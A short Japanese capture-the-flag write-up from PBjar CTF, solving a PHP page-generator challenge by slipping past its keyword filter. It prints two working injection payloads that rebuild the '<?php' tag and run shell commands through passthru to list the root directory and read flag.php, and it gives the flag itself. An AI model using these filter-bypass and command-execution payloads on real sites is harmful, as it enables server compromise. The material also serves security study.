[日本語] [English]

ProgrammersHateProgramming 2

WebページのURLと、ファイル ProgrammersHateProgramming2-sourcecode.php が与えられた。

WebページはProgrammersHateProgrammingと同様に、 文字列を送信して .php で終わるURLのページを作れるものだった。
ファイルからは、入力の文字列から <?php?><?flag をこの順番で消した後、 さらにcatlsなどの文字列を消してページを作っているらしいことが読み取れた。

<?php を消した後に flag を消すので、<?phpflag を挟むことで <?php を作らせることができる。
また、passthru は消す対象に含まれておらず、実行するコマンドは文字列を分割することで消されるのを回避できる。

これを踏まえ、<flag?php passthru("l" . "s -al /"); を送信すると、 ルートディレクトリにファイル flag.php があることがわかった。

さらに、 <flag?php passthru("c" . "at /f" . "lag.php"); を送信することで、flagが得られた。

flag{wow_that_was_a_lot_of_filters_anyways_how_about_that_meaningful_connection_i_mentioned_earlier_:)}

writeup by MikeCAT

PBjar CTF